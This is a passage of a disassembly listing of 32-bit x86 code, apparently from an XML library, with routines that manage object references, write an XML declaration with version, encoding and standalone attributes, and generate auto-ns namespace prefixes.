loc_69B75DF1:				; CODE XREF: sub_69B75DD2+15j
		cmp	[esi+34h], ebp
		jz	short loc_69B75E00
		push	edi
		mov	ecx, esi
		call	sub_69B75BAB
		jmp	short loc_69B75E03
; ---------------------------------------------------------------------------


loc_69B75E00:				; CODE XREF: sub_69B75DD2+22j
		mov	eax, [esi+30h]


loc_69B75E03:				; CODE XREF: sub_69B75DD2+2Cj
		mov	ecx, [esi+10h]
		shr	ecx, 1
		and	cl, bl
		push	ecx
		xor	ecx, ecx
		mov	cl, [esi+10h]
		and	cl, bl
		push	ecx
		push	eax
		push	dword ptr [esi+3Ch]
		mov	ecx, edi
		call	sub_69B6F979
		test	al, al
		jz	short loc_69B75E7D
		push	ebp
		push	edi
		mov	ecx, esi
		call	sub_69B72316
		mov	eax, [edi+20h]
		mov	[eax+0Ch], ebx


loc_69B75E31:				; CODE XREF: sub_69B75DD2+18j
		cmp	dword ptr [edi+0A8h], 2
		jz	short loc_69B75E4E
		cmp	dword ptr [esi+3Ch], 0FFFFFFFFh
		jnz	short loc_69B75E4E
		push	ebp
		push	ebp
		push	ebx
		mov	ecx, edi
		call	sub_69B6F0B5
		test	eax, eax
		jz	short loc_69B75E7D


loc_69B75E4E:				; CODE XREF: sub_69B75DD2+66j
					; sub_69B75DD2+6Cj
		mov	eax, [edi+20h]
		mov	dword ptr [eax+0Ch], 2


loc_69B75E58:				; CODE XREF: sub_69B75DD2+1Bj
		push	ebp
		push	ebp
		push	ebp
		mov	ecx, edi
		call	sub_69B6F0B5
		test	eax, eax
		jz	short loc_69B75E7D


loc_69B75E66:				; CODE XREF: sub_69B75DD2+1Dj
		push	edi
		mov	ecx, esi
		call	sub_69B725AD
		mov	eax, [esi+10h]
		shr	eax, 1
		and	al, bl
		mov	ecx, edi
		push	eax
		call	sub_69B6F28B


loc_69B75E7D:				; CODE XREF: sub_69B75DD2+4Ej
					; sub_69B75DD2+7Aj ...
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn	8
sub_69B75DD2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B75E84	proc near		; DATA XREF: .text:69B165B0o

pvarg		= VARIANTARG ptr -14h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		cmp	[ebp+arg_0], 0
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		mov	ebx, ecx
		push	edi
		mov	[ebp+var_4], ebx
		jnz	loc_69B75F3C
		mov	edi, [ebx+30h]
		test	edi, edi
		jz	short loc_69B75EF7
		test	byte ptr [ebx+38h], 1
		mov	eax, [esi+28h]
		mov	eax, [eax+18h]
		mov	[ebp+arg_0], eax
		jz	short loc_69B75EDC
		mov	ebx, [edi]
		push	eax
		lea	ecx, [esi+10h]
		mov	eax, [ecx]
		push	0FFFFFFFFh
		push	0
		call	dword ptr [eax+4]
		push	eax
		lea	eax, [esi+10h]
		push	eax
		mov	ecx, edi
		call	dword ptr [ebx+50h]
		cmp	eax, 1
		jnz	loc_69B75F57
		mov	ebx, [ebp+var_4]
		jmp	short loc_69B75EF7
; ---------------------------------------------------------------------------


loc_69B75EDC:				; CODE XREF: sub_69B75E84+2Fj
		mov	eax, [edi]
		mov	ecx, edi
		call	dword ptr [eax+44h]
		push	[ebp+arg_0]
		mov	edx, [eax]
		push	0
		lea	ecx, [esi+10h]
		push	ecx
		mov	ecx, eax
		call	dword ptr [edx+4Ch]
		test	eax, eax
		jz	short loc_69B75F57


loc_69B75EF7:				; CODE XREF: sub_69B75E84+20j
					; sub_69B75E84+56j
		cmp	dword ptr [ebx+34h], 0
		jz	short loc_69B75F22
		mov	ecx, esi
		call	sub_69B6F448
		mov	ecx, [ebx+2Ch]
		and	word ptr [ebp+pvarg.anonymous_0], 0
		lea	eax, [ebp+pvarg]
		push	eax		; pvarg
		push	0Bh		; vt
		push	dword ptr [ebx+34h] ; int
		push	esi		; int
		call	sub_69B7401B
		cmp	word ptr [ebp+pvarg.anonymous_0+8], 0
		jz	short loc_69B75F57


loc_69B75F22:				; CODE XREF: sub_69B75E84+77j
		push	0
		push	esi
		mov	ecx, ebx
		call	sub_69B72316
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		mov	ecx, esi
		call	sub_69B6F0B5
		test	eax, eax
		jz	short loc_69B75F57


loc_69B75F3C:				; CODE XREF: sub_69B75E84+15j
		push	esi
		mov	ecx, ebx
		call	sub_69B725AD
		test	byte ptr [ebx+38h], 2
		jz	short loc_69B75F57
		mov	eax, [esi+20h]
		and	dword ptr [eax+0Ch], 0
		mov	eax, [esi+20h]
		and	dword ptr [eax], 0


loc_69B75F57:				; CODE XREF: sub_69B75E84+4Dj
					; sub_69B75E84+71j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	8
sub_69B75E84	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B75F5E	proc near		; CODE XREF: sub_69B72A73+6Ap
					; sub_69B72C6A+36p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

; FUNCTION CHUNK AT 69B16538 SIZE 0000003A BYTES

		push	3Ch
		call	sub_69B17EF3
		test	eax, eax
		jz	short loc_69B75F70
		mov	ecx, eax
		jmp	loc_69B16538
; ---------------------------------------------------------------------------


loc_69B75F70:				; CODE XREF: sub_69B75F5E+9j
		xor	eax, eax
		retn	0Ch
sub_69B75F5E	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B75F75	proc near		; DATA XREF: .text:69B165ACo
		push	esi
		mov	esi, ecx
		push	0
		lea	eax, [esi+30h]
		push	eax
		call	sub_69B17320
		push	0
		lea	eax, [esi+2Ch]
		push	eax
		call	sub_69B17320
		push	0
		lea	eax, [esi+34h]
		push	eax
		call	sub_69B17320
		mov	ecx, esi
		pop	esi
		jmp	sub_69B7251E
sub_69B75F75	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B75FA1	proc near		; DATA XREF: .text:69B165C8o

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		mov	esi, ecx
		mov	ecx, [esi+0Ch]
		mov	eax, [ecx]
		push	edi
		push	dword_69B9B4D0
		call	dword ptr [eax+0A8h]
		mov	ebx, [esp+0Ch+arg_0]
		mov	edi, eax
		test	edi, edi
		jz	short loc_69B75FF0
		cmp	dword ptr [ebx+0A8h], 2
		jnz	short loc_69B75FF0
		push	0
		push	[esp+10h+arg_4]
		lea	ecx, [ebx+8Ch]
		push	ebx
		call	sub_69B70DF4
		push	eax
		lea	eax, [esi+2Ch]
		push	eax
		call	sub_69B17320
		push	edi
		lea	eax, [esi+34h]
		push	eax
		call	sub_69B17320


loc_69B75FF0:				; CODE XREF: sub_69B75FA1+1Ej
					; sub_69B75FA1+27j
		mov	eax, [esi+0Ch]
		push	8
		push	dword_69B9B4F8
		mov	ecx, ebx
		push	eax
		call	sub_69B6EA8E
		push	eax
		lea	edi, [esi+30h]
		push	edi
		call	sub_69B17320
		cmp	dword ptr [edi], 0
		jz	short loc_69B76018
		or	dword ptr [esi+38h], 1
		jmp	short loc_69B7603B
; ---------------------------------------------------------------------------


loc_69B76018:				; CODE XREF: sub_69B75FA1+6Fj
		cmp	dword ptr [ebx+0A8h], 2
		jnz	short loc_69B7603B
		mov	esi, [esi+0Ch]
		push	2
		push	dword_69B9B500
		mov	ecx, ebx
		push	esi
		call	sub_69B6EA8E
		push	eax
		push	edi
		call	sub_69B17320


loc_69B7603B:				; CODE XREF: sub_69B75FA1+75j
					; sub_69B75FA1+7Ej
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_69B75FA1	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B76041	proc near		; DATA XREF: .text:69B16584o

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_69B7605C
		test	[esp+4+arg_0], 1
		jz	short loc_69B76056
		push	esi
		call	sub_69B1829F


loc_69B76056:				; CODE XREF: sub_69B76041+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_69B76041	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B7605C	proc near		; CODE XREF: sub_69B76041+3p
		push	esi
		mov	esi, ecx
		lea	eax, [esi+34h]
		push	eax
		call	sub_69B17230
		lea	eax, [esi+30h]
		push	eax
		call	sub_69B17230
		lea	eax, [esi+2Ch]
		push	eax
		call	sub_69B17230
		mov	ecx, esi
		pop	esi
		jmp	sub_69B7039F
sub_69B7605C	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B76082	proc near		; DATA XREF: .text:69B16664o

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_69B76EFC
		mov	ecx, eax
		add	eax, 8
		neg	ecx
		sbb	ecx, ecx
		and	ecx, eax
		push	ecx
		push	[esp+4+arg_4]
		call	sub_69B76CAC
		lea	ecx, [eax+8]
		neg	eax
		sbb	eax, eax
		and	eax, ecx
		retn	8
sub_69B76082	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B760B0	proc near		; DATA XREF: .text:69B16668o

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= byte ptr  14h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		mov	esi, [ebp+arg_8]
		test	esi, esi
		push	edi
		mov	ebx, ecx
		jz	loc_69B761D9
		cmp	[ebp+arg_C], 0
		jnz	short loc_69B760ED
		mov	eax, [ebx+4]
		test	eax, eax
		jz	short loc_69B760ED
		mov	ecx, [ebp+arg_0]
		push	eax
		push	esi
		mov	[ebp+arg_8], eax
		call	sub_69B3DEBD
		mov	edi, eax
		xor	eax, eax
		cmp	[ebx+9], al
		setz	al
		inc	eax
		mov	[edi+18h], eax
		jmp	short loc_69B76129
; ---------------------------------------------------------------------------


loc_69B760ED:				; CODE XREF: sub_69B760B0+17j
					; sub_69B760B0+1Ej
		xor	eax, eax
		cmp	[ebx+9], al
		push	0
		setz	al
		mov	[ebp+arg_8], offset off_69B2A48C
		inc	eax
		push	eax
		push	esi
		call	sub_69B8A894
		cmp	[ebp+arg_C], 0
		mov	edi, eax
		mov	byte ptr [edi+8], 0
		jnz	short loc_69B76129
		mov	eax, [esi]
		lea	ecx, [ebp+arg_C]
		push	ecx
		push	2
		push	offset word_69B26230
		push	esi
		call	dword ptr [eax+10h]
		push	eax
		call	sub_69B8861E


loc_69B76129:				; CODE XREF: sub_69B760B0+3Bj
					; sub_69B760B0+60j
		cmp	byte ptr [ebx+8], 0
		jz	short loc_69B7613C
		push	1
		push	edi
		push	[ebp+arg_4]
		call	sub_69B772D5
		jmp	short loc_69B7615B
; ---------------------------------------------------------------------------


loc_69B7613C:				; CODE XREF: sub_69B760B0+7Dj
		push	0
		push	edi
		push	[ebp+arg_4]
		call	sub_69B772D5
		mov	ecx, eax
		add	eax, 8
		neg	ecx
		sbb	ecx, ecx
		and	ecx, eax
		push	ecx
		push	[ebp+arg_4]
		call	sub_69B76CAC


loc_69B7615B:				; CODE XREF: sub_69B760B0+8Aj
		mov	esi, eax
		add	eax, 8
		neg	esi
		sbb	esi, esi
		and	esi, eax
		cmp	byte ptr [ebx+0Ah], 0
		jz	short loc_69B761E9
		push	offset a?xmlVersion1_0 ; "<?xml	version=\"1.0\"	encoding=\""
		mov	ecx, edi
		call	sub_69B8A986
		push	[ebp+arg_8]
		mov	ecx, edi
		call	sub_69B8A970
		push	offset asc_69B270E4 ; "\""
		mov	ecx, edi
		call	sub_69B8A986
		cmp	dword ptr [ebx+0Ch], 0FFFFFFFFh
		jz	short loc_69B761C4
		push	offset aStandalone ; " standalone=\""
		mov	ecx, edi
		call	sub_69B8A986
		cmp	dword ptr [ebx+0Ch], 0
		mov	eax, off_69B9A42C
		jnz	short loc_69B761B0
		mov	eax, off_69B9A430


loc_69B761B0:				; CODE XREF: sub_69B760B0+F9j
		push	eax		; lpString
		mov	ecx, edi
		call	sub_69B8A986
		push	offset asc_69B270E4 ; "\""
		mov	ecx, edi
		call	sub_69B8A986


loc_69B761C4:				; CODE XREF: sub_69B760B0+E2j
		push	offset a?	; "?>"
		mov	ecx, edi
		call	sub_69B8A986
		mov	ecx, edi
		call	sub_69B8A709
		jmp	short loc_69B761E9
; ---------------------------------------------------------------------------


loc_69B761D9:				; CODE XREF: sub_69B760B0+Dj
		call	sub_69B76F19
		mov	esi, eax
		add	eax, 8
		neg	esi
		sbb	esi, esi
		and	esi, eax


loc_69B761E9:				; CODE XREF: sub_69B760B0+BAj
					; sub_69B760B0+127j
		pop	edi
		mov	eax, esi
		pop	esi
		pop	ebx
		pop	ebp
		retn	10h
sub_69B760B0	endp

; ---------------------------------------------------------------------------
		align 4
; const	WCHAR aStandalone
aStandalone:				; DATA XREF: sub_69B760B0+E4o
		unicode	0, < standalone=">,0
; const	WCHAR a?xmlVersion1_0
a?xmlVersion1_0:			; DATA XREF: sub_69B760B0+BCo
		dw 3Ch
		unicode	0, <?xml version="1.0" encoding=">,0

; =============== S U B	R O U T	I N E =======================================



sub_69B7624E	proc near		; DATA XREF: .text:69B15404o
					; .text:69B1662Co ...

arg_0		= byte ptr  4

		sub	ecx, 8
		jmp	loc_69B763FE
; ---------------------------------------------------------------------------


loc_69B76256:				; DATA XREF: .text:69B16658o
		mov	eax, dword_69B9B468
		retn
; ---------------------------------------------------------------------------


loc_69B7625C:				; DATA XREF: .text:69B1665Co
		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		and	dword ptr [ebp-4], 0
		lea	eax, [ecx+4]
		cmp	dword ptr [eax], 0
		jnz	short loc_69B76288
		mov	eax, offset off_69B2A48C
		mov	[ebp-8], eax
		push	eax
		mov	eax, ds:off_69B2A48C
		mov	dword ptr [ebp-4], 1
		call	dword ptr [eax+4]
		lea	eax, [ebp-8]


loc_69B76288:				; CODE XREF: sub_69B7624E+1Dj
		test	byte ptr [ebp-4], 1
		push	esi
		mov	esi, [eax]
		jz	short loc_69B7629A
		lea	eax, [ebp-8]
		push	eax
		call	sub_69B17230


loc_69B7629A:				; CODE XREF: sub_69B7624E+41j
		mov	eax, esi
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------


loc_69B7629F:				; CODE XREF: sub_69B62A4E+3j
					; DATA XREF: .text:69B18274o
		push	esi
		mov	esi, ecx
		push	0
		lea	eax, [esi+0Ch]
		push	eax
		call	sub_69B17320
		mov	ecx, esi
		pop	esi
		jmp	nullsub_5
; ---------------------------------------------------------------------------


loc_69B762B5:				; DATA XREF: .text:69B16660o
		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, ecx
		cmp	byte ptr [ebx+8], 0
		jnz	loc_69B763DE
		push	esi
		mov	esi, [ebp+8]
		mov	eax, [esi]
		push	edi
		push	dword_69B9B480
		mov	ecx, esi
		call	dword ptr [eax+0A8h]
		mov	edi, eax
		test	edi, edi
		jz	short loc_69B7630C
		mov	eax, dword_69B9B468
		mov	ecx, [eax+14h]
		mov	eax, [ecx]
		call	dword ptr [eax+2Ch]
		push	eax
		mov	ecx, edi
		call	sub_69B2F13A
		test	eax, eax
		jz	short loc_69B7630C
		push	0
		push	edi
		push	dword_69B9B480
		push	0C00CE323h
		call	sub_69B6E277


loc_69B7630C:				; CODE XREF: sub_69B7624E+90j
					; sub_69B7624E+A9j
		mov	eax, dword_69B95A84
		cmp	dword ptr [eax+8], 3
		mov	edi, eax
		jg	short loc_69B7631E
		call	sub_69B2E6D8


loc_69B7631E:				; CODE XREF: sub_69B7624E+C9j
		mov	eax, [edi+18h]
		mov	edx, [esi]
		push	eax
		mov	ecx, esi
		call	dword ptr [edx+0A8h]
		test	eax, eax
		jz	short loc_69B7633A
		push	eax
		lea	eax, [ebx+4]
		push	eax
		call	sub_69B17320


loc_69B7633A:				; CODE XREF: sub_69B7624E+E0j
		push	dword_69B9B478
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+0A4h]
		test	eax, eax
		jz	short loc_69B7635D
		push	eax
		push	dword_69B9B478
		call	sub_69B6FF5F
		mov	[ebx+9], al


loc_69B7635D:				; CODE XREF: sub_69B7624E+FEj
		push	dword_69B9B470
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+0A4h]
		test	eax, eax
		jz	short loc_69B76386
		push	eax
		push	dword_69B9B470
		call	sub_69B6FF5F
		neg	al
		sbb	al, al
		inc	al
		mov	[ebx+0Ah], al


loc_69B76386:				; CODE XREF: sub_69B7624E+121j
		mov	eax, dword_69B95A84
		cmp	dword ptr [eax+8], 6
		mov	edi, eax
		jg	short loc_69B76398
		call	sub_69B2E6D8


loc_69B76398:				; CODE XREF: sub_69B7624E+143j
		mov	eax, [edi+24h]
		mov	edx, [esi]
		push	eax
		mov	ecx, esi
		call	dword ptr [edx+0A8h]
		test	eax, eax
		mov	[ebp+8], eax
		jz	short loc_69B763D4
		mov	eax, dword_69B95A84
		cmp	dword ptr [eax+8], 6
		mov	edi, eax
		jg	short loc_69B763BF
		call	sub_69B2E6D8


loc_69B763BF:				; CODE XREF: sub_69B7624E+16Aj
		push	dword ptr [ebp+8]
		mov	eax, [edi+24h]
		push	eax
		call	sub_69B6FF5F
		neg	al
		sbb	eax, eax
		neg	eax
		mov	[ebx+0Ch], eax


loc_69B763D4:				; CODE XREF: sub_69B7624E+15Dj
		push	esi
		call	sub_69B6FED3
		pop	edi
		pop	esi
		jmp	short loc_69B763F9
; ---------------------------------------------------------------------------


loc_69B763DE:				; CODE XREF: sub_69B7624E+71j
		mov	ecx, [ebp+8]
		push	dword_69B9B4C0
		mov	eax, [ecx]
		call	dword ptr [eax+0A8h]
		push	eax
		add	ebx, 4
		push	ebx
		call	sub_69B17320


loc_69B763F9:				; CODE XREF: sub_69B7624E+18Ej
		pop	ebx
		pop	ebp
		retn	4
; ---------------------------------------------------------------------------


loc_69B763FE:				; CODE XREF: sub_69B7624E+3j
					; DATA XREF: .text:69B1824Co
		push	esi
		mov	esi, ecx
		call	sub_69B8A511
		test	[esp+4+arg_0], 1
		jz	short loc_69B76413
		push	esi
		call	sub_69B1829F


loc_69B76413:				; CODE XREF: sub_69B7624E+1BDj
		mov	eax, esi
		pop	esi
		retn	4
sub_69B7624E	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B76419	proc near		; CODE XREF: sub_69B6EDDE+108p
					; sub_69B6F192+Ep ...

arg_0		= byte ptr  4

; FUNCTION CHUNK AT 69B165D8 SIZE 00000043 BYTES

		push	18h
		call	sub_69B17EF3
		test	eax, eax
		jz	short loc_69B7642B
		mov	ecx, eax
		jmp	loc_69B165D8
; ---------------------------------------------------------------------------


loc_69B7642B:				; CODE XREF: sub_69B76419+9j
		xor	eax, eax
		retn	4
sub_69B76419	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B76430	proc near		; CODE XREF: sub_69B76463+13p
					; sub_69B76486+9j ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_4]
		mov	eax, [ecx+1Ch]
		add	[eax+0Ch], edx
		push	edx
		push	0
		push	[esp+8+arg_0]
		call	sub_69B88E3F
		retn	8
sub_69B76430	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B76449	proc near		; CODE XREF: sub_69B76631+Ap

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_0]
		push	esi
		mov	esi, [esp+4+arg_4]
		lea	eax, [esi+esi*4]
		lea	eax, [ecx+eax*4]
		push	eax
		call	sub_69B17EF3
		mov	[eax+8], esi
		pop	esi
		retn
sub_69B76449	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B76463	proc near		; DATA XREF: .text:69B1A6A4o

arg_0		= dword	ptr  4

		cmp	byte ptr [ecx+30h], 0
		jz	short loc_69B7647E
		mov	eax, [esp+arg_0]
		push	dword ptr [eax+8]
		mov	ecx, [ecx+34h]
		push	dword ptr [eax+0Ch]
		call	sub_69B76430
		retn	4
; ---------------------------------------------------------------------------


loc_69B7647E:				; CODE XREF: sub_69B76463+4j
		mov	ecx, [ecx+10h]
		mov	eax, [ecx]
		jmp	dword ptr [eax+44h]
sub_69B76463	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B76486	proc near		; DATA XREF: .text:69B1A6A8o
		cmp	byte ptr [ecx+30h], 0
		jz	short loc_69B76491
		mov	ecx, [ecx+34h]
		jmp	short sub_69B76430
; ---------------------------------------------------------------------------


loc_69B76491:				; CODE XREF: sub_69B76486+4j
		mov	ecx, [ecx+10h]
		mov	eax, [ecx]
		jmp	dword ptr [eax+48h]
sub_69B76486	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B76499	proc near		; DATA XREF: .text:69B1A6ACo

arg_0		= dword	ptr  4

		push	edi
		mov	edi, ecx
		cmp	byte ptr [edi+30h], 0
		jz	short loc_69B764CC
		mov	ecx, [esp+4+arg_0]
		mov	eax, [ecx]
		push	esi
		push	1
		push	4
		call	dword ptr [eax+4Ch]
		mov	ecx, [edi+34h]
		mov	esi, eax
		push	dword ptr [esi+8]
		push	dword ptr [esi+0Ch]
		call	sub_69B76430
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+30h]
		pop	esi
		pop	edi
		retn	4
; ---------------------------------------------------------------------------


loc_69B764CC:				; CODE XREF: sub_69B76499+7j
		mov	ecx, [edi+10h]
		mov	eax, [ecx]
		pop	edi
		jmp	dword ptr [eax+4Ch]
sub_69B76499	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B764D5	proc near		; CODE XREF: sub_69B766CB+43p

String		= word ptr -28h
var_1A		= byte ptr -1Ah
var_18		= byte ptr -18h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 28h
		mov	eax, dword_69B92170
		xor	eax, [ebp+4]
		push	ebx
		push	esi
		push	edi
		mov	esi, offset aAutoNs ; "auto-ns"
		lea	edi, [ebp+String]
		movsd
		movsd
		push	[ebp+arg_4]
		movsd
		movsd
		mov	[ebp+var_4], eax
		xor	eax, eax
		lea	edi, [ebp+var_18]
		stosd
		stosd
		stosd
		stosd
		mov	ebx, ecx
		mov	ecx, [ebx+24h]
		stosd
		call	sub_69B1980A
		mov	esi, eax
		test	esi, esi
		jz	short loc_69B76517
		cmp	esi, [ebp+arg_0]
		jnz	short loc_69B76540


loc_69B76517:				; CODE XREF: sub_69B764D5+3Bj
		inc	dword ptr [ebx+10h]
		mov	eax, [ebx+10h]
		push	0Ah
		lea	ecx, [ebp+var_1A]
		push	ecx
		push	eax
		call	sub_69B2F579
		lea	eax, [ebp+String]
		push	eax		; lpString
		call	sub_69B2FADA
		mov	ecx, [ebx+24h]
		mov	esi, eax
		push	esi
		push	[ebp+arg_4]
		call	sub_69B3182D


loc_69B76540:				; CODE XREF: sub_69B764D5+40j
		mov	ecx, [ebp+var_4]
		xor	ecx, [ebp+4]
		pop	edi
		mov	eax, esi
		pop	esi
		pop	ebx
		call	sub_69B1B9F6
		leave
		retn	8
sub_69B764D5	endp

; ---------------------------------------------------------------------------
aAutoNs:				; DATA XREF: sub_69B764D5+11o
		unicode	0, <auto-ns>,0

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B76564	proc near		; CODE XREF: sub_69B76755+1Ap
					; sub_69B76AFB+113p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	0
		push	0
		push	[ebp+arg_0]
		mov	esi, ecx
		mov	ecx, [esi+20h]
		call	sub_69B4D2DF
		cmp	eax, [ebp+arg_4]
		jz	short loc_69B76596
		push	dword ptr [esi+14h]
		mov	ecx, [esi+20h]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_69B4DCB3
		mov	al, 1
		jmp	short loc_69B76598
; ---------------------------------------------------------------------------


loc_69B76596:				; CODE XREF: sub_69B76564+18j
		xor	al, al


loc_69B76598:				; CODE XREF: sub_69B76564+30j
		pop	esi
		pop	ebp
		retn	0Ch
sub_69B76564	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B7659D	proc near		; CODE XREF: sub_69B76A2E+63p
					; sub_69B76A2E:loc_69B76AA4p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		push	[esp+4+arg_0]
		mov	esi, ecx
		mov	ecx, [esi+18h]
		mov	eax, [ecx]
		push	0Fh
		call	dword ptr [eax+38h]
		push	[esp+4+arg_8]
		mov	ecx, [esi+18h]
		push	[esp+8+arg_4]
		mov	eax, [ecx]
		call	dword ptr [eax+48h]
		mov	ecx, [esi+18h]
		mov	eax, [ecx]
		push	0
		push	[esp+8+arg_0]
		push	0Fh
		call	dword ptr [eax+3Ch]
		pop	esi
		retn	0Ch
sub_69B7659D	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B765D2	proc near		; DATA XREF: .text:69B1436Co

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_4]
		push	edi
		mov	edi, [esp+8+arg_0]
		push	5
		pop	ecx
		rep movsd
		pop	edi
		pop	esi
		retn	8
sub_69B765D2	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B765E6	proc near		; DATA XREF: .text:69B14368o
		push	14h
		pop	eax
		retn
sub_69B765E6	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B765EA	proc near		; CODE XREF: sub_69B7681F+33p

arg_0		= dword	ptr  4

		mov	eax, [ecx+14h]
		mov	edx, [ecx+18h]
		push	esi
		add	eax, 0Ch
		jmp	short loc_69B76606
; ---------------------------------------------------------------------------


loc_69B765F6:				; CODE XREF: sub_69B765EA+21j
		mov	eax, [ecx+1Ch]
		mov	esi, [esp+4+arg_0]
		dec	edx
		cmp	esi, [eax+4]
		jz	short loc_69B76613
		add	eax, 14h


loc_69B76606:				; CODE XREF: sub_69B765EA+Aj
		test	edx, edx
		mov	[ecx+1Ch], eax
		jnz	short loc_69B765F6
		xor	al, al


loc_69B7660F:				; CODE XREF: sub_69B765EA+2Bj
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_69B76613:				; CODE XREF: sub_69B765EA+17j
		mov	al, 1
		jmp	short loc_69B7660F
sub_69B765EA	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B76617	proc near		; CODE XREF: sub_69B76A2E+20p
					; sub_69B76A2E+7Ep
		add	dword ptr [ecx+1Ch], 14h
		mov	eax, [ecx+18h]
		mov	edx, [ecx+1Ch]
		mov	ecx, [ecx+14h]
		lea	eax, [eax+eax*4]
		lea	eax, [ecx+eax*4+0Ch]
		cmp	edx, eax
		setb	al
		retn
sub_69B76617	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B76631	proc near		; CODE XREF: sub_69B7681F+16p

arg_0		= dword	ptr  4

		push	esi
		push	edi
		push	[esp+8+arg_0]
		mov	edi, ecx
		push	10h
		call	sub_69B76449
		mov	esi, eax
		test	esi, esi
		pop	ecx
		pop	ecx
		jz	short loc_69B76657
		mov	ecx, esi
		call	sub_69B19118
		mov	dword ptr [esi], offset	off_69B14330
		jmp	short loc_69B76659
; ---------------------------------------------------------------------------


loc_69B76657:				; CODE XREF: sub_69B76631+15j
		xor	esi, esi


loc_69B76659:				; CODE XREF: sub_69B76631+24j
		push	0
		push	edi
		push	dword ptr [edi+8]
		mov	ecx, esi
		push	0
		call	sub_69B2E6E3
		pop	edi
		mov	eax, esi
		pop	esi
		retn	4
sub_69B76631	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B7666F	proc near		; DATA XREF: .text:69B1A66Co

arg_0		= byte ptr  4

		sub	ecx, 8
		jmp	sub_69B7693D
sub_69B7666F	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B76677	proc near		; CODE XREF: sub_69B768D1+3j
					; DATA XREF: .text:69B1A6E8o
		push	esi
		push	edi
		mov	esi, ecx
		xor	edi, edi
		push	edi
		lea	eax, [esi+20h]
		push	eax
		call	sub_69B17320
		push	edi
		lea	eax, [esi+24h]
		push	eax
		call	sub_69B17320
		push	edi
		lea	eax, [esi+28h]
		push	eax
		call	sub_69B17320
		push	edi
		lea	eax, [esi+3Ch]
		push	eax
		mov	[esi+2Ch], edi
		call	sub_69B17320
		lea	ecx, [esi+8]
		mov	eax, [ecx]
		pop	edi
		pop	esi
		jmp	dword ptr [eax+50h]
sub_69B76677	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B766B2	proc near		; DATA XREF: .text:69B1A6B0o
		push	esi
		lea	esi, [ecx+10h]
		mov	ecx, [esi]
		test	ecx, ecx
		jz	short loc_69B766C9
		mov	eax, [ecx]
		call	dword ptr [eax+50h]
		push	0
		push	esi
		call	sub_69B17320


loc_69B766C9:				; CODE XREF: sub_69B766B2+8j
		pop	esi
		retn
sub_69B766B2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B766CB	proc near		; CODE XREF: sub_69B76AFB+D7p
					; sub_69B76AFB+132p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, dword_69B95A18
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		test	esi, esi
		push	edi
		mov	edi, ecx
		mov	[ebp+var_4], esi
		mov	byte ptr [ebp+arg_0+3],	0
		jnz	short loc_69B766E9
		mov	esi, eax


loc_69B766E9:				; CODE XREF: sub_69B766CB+1Aj
		mov	ebx, [ebp+arg_4]
